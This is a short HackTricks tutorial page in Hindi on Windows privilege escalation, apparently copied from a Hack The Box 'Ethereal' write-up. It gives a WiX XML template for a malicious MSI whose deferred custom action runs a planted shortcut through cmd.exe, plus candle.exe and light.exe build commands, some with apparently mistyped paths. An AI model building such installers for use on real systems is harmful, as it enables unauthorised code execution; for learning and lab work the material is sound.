hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

7.1 KiB

☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

ट्यूटोरियल https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root से कॉपी किया गया है
msi बनाने के लिए हम wixtools का उपयोग करेंगे, आप अन्य msi बिल्डर का उपयोग कर सकते हैं लेकिन वे मेरे लिए काम नहीं करते थे।
कुछ wix msi उपयोग उदाहरणों के लिए इस पेज की जांच करें।
हम एक msi बनाएंगे जो हमारे lnk फ़ाइल को निष्पादित करता है:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>

हम wixtools से candle.exe का उपयोग करेंगे ताकि msi.xml से एक wixobject बना सकें।

candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml

फिर हम light.exe का उपयोग करेंगे ताकि हम wixobject से msi फ़ाइल बना सकें:

light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥